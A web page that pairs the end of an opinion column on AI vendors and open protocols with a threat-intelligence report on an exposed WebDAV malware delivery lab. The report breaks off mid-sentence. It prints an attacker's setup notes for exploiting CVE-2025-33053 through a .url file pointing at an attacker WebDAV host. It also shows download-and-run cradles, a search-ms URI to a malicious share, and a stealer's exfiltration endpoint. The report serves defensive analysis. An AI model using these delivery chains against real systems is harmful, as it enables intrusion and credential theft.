<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html" data-type="link" data-id="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub</a> may be an even better example. <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git </a>is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub </a>became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.</p>



<h2 class="wp-block-heading">Trading contributions for control</h2>



<p class="wp-block-paragraph">Anthropic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. <a href="https://www.infoworld.com/article/4195842/which-ai-model-should-you-bet-your-company-on-none-of-them.html">As I pointed out recently</a>, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.</p>



<p class="wp-block-paragraph">The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.</p>



<p class="wp-block-paragraph">Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.</p>



<p class="wp-block-paragraph">Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.</p>



<p class="wp-block-paragraph">That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.</p>



<p class="wp-block-paragraph">That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.</p>



<h2 class="wp-block-heading">Open standards don’t stop gravity</h2>



<p class="wp-block-paragraph">None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.</p>



<p class="wp-block-paragraph">An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Microsoft Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.</p>



<p class="wp-block-paragraph">In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.</p>
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<title><![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]></title>
<description><![CDATA[Executive summaryAn MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery...]]></description>
<link>https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.</span></p><p><span>Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.</span></p><p><span>This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.</span></p><h2>Introduction: From MDR alert to attacker infrastructure</h2><p><span>The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using </span><span><span data-type="inlineCode">rundll32.exe</span></span><span>. Telemetry showed the WebClient service starting, followed by </span><span><span data-type="inlineCode">davclnt.dll</span></span><span> reaching out to a remote host to retrieve content.</span></p><p><span>That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.</span></p><p><span>At a high level, the 1,048 files clustered as follows:</span></p><p><span></span></p><table><colgroup data-width="1566"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Category</strong></span></p></td><td><p><span><strong>Files</strong></span></p></td><td><p><span><strong>Functions and discoveries</strong></span></p></td></tr><tr><td><p><span>LNK delivery launchers</span></p></td><td><p><span>453</span></p></td><td><p><span>Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths</span></p></td></tr><tr><td><p><span>Filename-spoofing QA</span></p></td><td><p><span>236</span></p></td><td><p><span>Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior</span></p></td></tr><tr><td><p><span>URL/LOLBin execution tests</span></p></td><td><p><span>146</span></p></td><td><p><span>Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution</span></p></td></tr><tr><td><p><span>Encrypted droppers</span></p></td><td><p><span>89</span></p></td><td><p><span>Staged second-stage payloads and installer-style packages</span></p></td></tr><tr><td><p><span>Alternative execution containers</span></p></td><td><p><span>24</span></p></td><td><p><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, </span><span><span data-type="inlineCode">.cpl</span></span><span>, and related delivery containers</span></p></td></tr><tr><td><p><span>Payload stubs and spoofed executables</span></p></td><td><p><span>21</span></p></td><td><p><span>Smaller loaders, decoys, and renamed binaries</span></p></td></tr><tr><td><p><span>WebDAV scripts</span></p></td><td><p><span>17</span></p></td><td><p><span>Scripts intended to make WebDAV delivery more reliable on Windows systems</span></p></td></tr><tr><td><p><span>Builder and operator notes</span></p></td><td><p><span>10</span></p></td><td><p><span><span data-type="inlineCode">README</span></span><span> files, test reports, mappings, and generation scripts</span></p></td></tr><tr><td><p><span>ClickFix HTML lures</span></p></td><td><p><span>9</span></p></td><td><p><span>Browser-based social-engineering pages instructing users to run commands</span></p></td></tr><tr><td><p><span>Miscellaneous files</span></p></td><td><p><span>6</span></p></td><td><p><span>Included documentation for the actor’s WebDAV delivery/admin panel</span></p></td></tr></tbody></table><p><span><em>Table 1: Breakdown of files recovered from the attacker’s delivery workspace</em></span></p><h2><span>Technical analysis and observed attacker behavior</span></h2><h3>Attackers testing like a product team</h3><p><span>The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, </span><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.</span></p><p><span>The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named </span><span><span data-type="inlineCode">testik</span></span><span> and </span><span><span data-type="inlineCode">testik2</span></span><span>, a Russian diminutive form of “test”.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" alt="testing-files-subfolders.png" caption="Figure 1: Snippet of one of many subfolders containing testing files." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="testing-files-subfolders.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" data-sys-asset-uid="bltbc6d4a9f8e6c1e40" data-sys-asset-filename="testing-files-subfolders.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Snippet of one of many subfolders containing testing files." data-sys-asset-alt="testing-files-subfolders.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Snippet of one of many subfolders containing testing files.</figcaption></div></figure><p>⠀</p><p><span>Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.</span></p><p><span></span></p><table><colgroup data-width="1901"><col><col><col></colgroup><tbody><tr><td><p><span><strong>CVE</strong></span></p></td><td><p><span><strong>Observed samples</strong></span></p></td><td><p><span><strong>Short description</strong></span></p></td></tr><tr><td><p><span>CVE-2025-33053</span></p></td><td><p><span>11</span></p></td><td><p><span>Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-33053?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2026-21513</span></p></td><td><p><span>4</span></p></td><td><p><span>MSHTML Framework security feature bypass caused by protection-mechanism failure. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21513?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2025-24054</span></p></td><td><p><span>1</span></p></td><td><p><span>Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved </span><span><span data-type="inlineCode">.library-ms</span></span><span> files. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr></tbody></table><p><span><em>Table 2: CVE references observed in the exposed directory.</em></span></p><p></p><p><span>The most developed test set focused on </span><span>CVE-2025-33053,</span><span> the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses </span><span><span data-type="inlineCode">.url</span></span><span> shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span>, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.</span></p><p><span>The README files closely mirrored this logic. They called out </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported </span><span><span data-type="inlineCode">summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr</span></span><span> path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.</span></p><p></p><pre language="c">CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D</pre><p language="html"><span><em>Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.</em></span><em><br></em>⠀</p><p><span>The testing approach was methodical and included the below:</span></p><p><span><strong>Transports</strong></span><span>: WebDAV over </span><span><span data-type="inlineCode">@80</span></span><span> and </span><span><span data-type="inlineCode">@ssl@443</span></span></p><p><span><strong>Path formats</strong></span><span>: </span><span><span data-type="inlineCode">DavWWWRoot</span></span><span> vs. plain UNC</span></p><p><span><strong>Fallback LOLBins</strong></span><span>: </span><span><span data-type="inlineCode">CustomShellHost.exe</span></span><span>, </span><span><span data-type="inlineCode">OfficeC2RClient.exe</span></span><span>, and many more for hosts where </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> is absent</span></p><p><span><strong>Download cradles</strong></span><span>: </span><span><span data-type="inlineCode">bitsadmin /transfer</span></span><span>, </span><span><span data-type="inlineCode">certutil -urlcache -split -f</span></span><span>, </span><span><span data-type="inlineCode">mshta http(s)://…</span></span></p><p><span><strong>Shortcut launchers</strong></span><span>: PowerShell </span><span><span data-type="inlineCode">IEX (New-Object Net.WebClient).DownloadString(...)</span></span><span>, hidden/minimized windows</span></p><p><span><strong>Explorer containers</strong></span><span>: </span><span><span data-type="inlineCode">search-ms:</span></span><span> queries and </span><span><span data-type="inlineCode">.library-ms</span></span><span> files exposing remote payloads</span></p><p><span><strong>ClickFix pages</strong></span><span>: relying on user copy/paste execution</span></p><p><span><strong>Filename spoofing</strong></span><span>: RTLO (U+202E), double extensions, and whitespace padding before </span><span><span data-type="inlineCode">.exe</span></span><span> / </span><span><span data-type="inlineCode">.scr</span></span></p><h2>The lure factory</h2><p><span>The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.</span></p><p><span>Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.</span></p><p><span>The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.</span></p><p><span>The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as </span><span><span data-type="inlineCode">Fix_Connection_Error.html</span></span><span>, </span><span><span data-type="inlineCode">Update_Required.html</span></span><span>, </span><span><span data-type="inlineCode">Secure_Document_Access.html</span></span><span>, </span><span><span data-type="inlineCode">Verification_Failed.html</span></span><span>, and </span><span><span data-type="inlineCode">Open_Document_Instructions.html</span></span><span> show how the actor repackaged the same execution pattern under different social-engineering themes.</span></p><p><span>The commands typically launched PowerShell to fetch remote content, used </span><span><span data-type="inlineCode">cmd.exe</span></span><span> to open payloads from WebDAV or UNC paths, or used utilities like </span><span><span data-type="inlineCode">rundll32</span></span><span> and </span><span><span data-type="inlineCode">mshta</span></span><span> to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.</span></p><h2>The payload chains </h2><p><span>The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.</span></p><p><span>We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, </span><span><span data-type="inlineCode">CursorSetup</span></span><span>, </span><span><span data-type="inlineCode">ReportFinal.rsc.pdf</span></span><span>, </span><span><span data-type="inlineCode">ReportFina.exe</span></span><span> and </span><span><span data-type="inlineCode">pdfgear_setup_v2.1.16.exe</span></span><span>, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.</span></p><p><span>Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. </span></p><p><span>This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. </span></p><h2><span>Case study 1: CURP campaign targeting Mexico</span></h2><p><span>Our MDR alert began with a user who landed on the phishing site </span><span><span data-type="inlineCode">www[.]gobf[.]mx</span></span><span>, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at </span><a href="https://www.gob.mx/curp/" target="_blank"><span>https://www.gob.mx/curp/</span></a><span>. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico%E2%80%99s-CURP-lookup-service.png" alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-uid="bltc4d4e8c3f881bba8" data-sys-asset-filename="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." data-sys-asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.</figcaption></div></figure><p>⠀</p><p><span>The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a </span><span><span data-type="inlineCode">search-ms:</span></span><span> URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to </span><span><span data-type="inlineCode">.scr</span></span><span> files:</span></p><p><span></span></p><pre language="c">search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &amp;query=*.scr
         &amp;crumb=location:\\onedrive.cv@80\Downloads\CURP</pre><p>⠀<br><span>It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.</span></p><p><span>The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The </span><span><span data-type="inlineCode">CURP</span></span><span> folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span>, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.</span><br></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" alt="Simba-Service-WebDAV-dashboard-CURP.png" caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-uid="bltedc57850fe037c68" data-sys-asset-filename="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." data-sys-asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.</figcaption></div></figure><p>⠀</p><p><span>Although </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span> appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded </span><span><span data-type="inlineCode">.scr</span></span><span> executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the </span><span><span data-type="inlineCode">Fo-Binary.exe</span></span><span> loader, initiating the multi-stage infection chain.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" alt="Execution-chain-PDF-lure.jpg" caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" data-sys-asset-uid="bltf312b78111eb9912" data-sys-asset-filename="Execution-chain-PDF-lure.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." data-sys-asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.</figcaption></div></figure><p>⠀</p><p><span>The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:</span></p><ul><li><span><strong>Decryption:</strong></span><span> The </span><span><span data-type="inlineCode">Fcqleh</span></span><span> loader decrypted the embedded payload using AES and GZip.</span></li><li><p><span><strong>Reflective Loading: </strong></span><span>The loader mapped the payload directly into memory using the </span><span><span data-type="inlineCode">Assembly.Load(byte[])</span></span><span> API.</span></p></li><li><p><span><strong>Process Injection:</strong></span><span> The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.</span></p></li></ul><p><span>The decrypted in-memory configuration exposed the payload’s feature set and version </span><span><span data-type="inlineCode">4.4.3</span></span><span>. It also contained the build tag </span><span><span data-type="inlineCode">06x12x2026SantaEbash2</span></span><span>, which matched toolkit timestamps from June 12, 2026.</span></p><p><span>Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram </span><span><span data-type="inlineCode">tdata</span></span><span> session database, Foxmail data, and a screenshot of the victim’s desktop.</span></p><p><span>The payload also included anti-analysis checks. The payload checked for the </span><span><span data-type="inlineCode">COR_PROFILER</span></span><span> environment variable and called </span><span><span data-type="inlineCode">IsDebuggerPresent</span></span><span>. If the malware detected that it was being monitored or debugged, it immediately called </span><span><span data-type="inlineCode">FailFast</span></span><span> to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. </span></p><p><span>Collected data was exfiltrated to </span><span><span data-type="inlineCode">77[.]110.127.205</span></span><span> (alias </span><span><span data-type="inlineCode">google.services.ug</span></span><span>, certificate </span><span><span data-type="inlineCode">CN=Eglgyqnoa</span></span><span>) over </span><span><span data-type="inlineCode">SslStream</span></span><span> (TLS without SNI) and raw </span><span><span data-type="inlineCode">Socket</span></span><span>.</span><span>The stolen data was sent as a multipart HTTP POST request to </span><span><span data-type="inlineCode">/c2</span></span><span>.</span></p><p><span>Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.</span></p><h2>Case study 2: The "DlrtyGames" sideloading chain</h2><p><span>While the </span><span><span data-type="inlineCode">ReportFinal</span></span><span> lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> chain began with a silent 7-Zip SFX dropper, </span><span><span data-type="inlineCode">DlrtyGames.exe</span></span><span>. It extracted a benign, signed Ubisoft binary, </span><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span>, into the victim’s temporary directory alongside a trojanized dependency, </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. </span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" alt="DlrtyGames-execution-chain.jpg" caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" data-sys-asset-uid="bltf89ec69e4241e5c3" data-sys-asset-filename="DlrtyGames-execution-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." data-sys-asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.</figcaption></div></figure><p>⠀</p><p><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span> used DLL sideloading to load </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. This decoded its configuration, resolved APIs by hash, and manually mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span>. The mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span> stage then read </span><span><span data-type="inlineCode">loader-pool.db</span></span><span>, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through </span><span><span data-type="inlineCode">dllhost.exe</span></span><span>, and prepared the final hollowing stage.</span></p><p><span>The final injection stage was handled by an x86 PIC shellcode blob carved from </span><span><span data-type="inlineCode">loader-pool.db</span></span><span> at offset </span><span><span data-type="inlineCode">0xb516a</span></span><span>. That shellcode created signed host processes such as </span><span><span data-type="inlineCode">MegArray.exe</span></span><span> or </span><span><span data-type="inlineCode">Crisp.exe</span></span><span> in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.</span></p><p><span>The </span><span><span 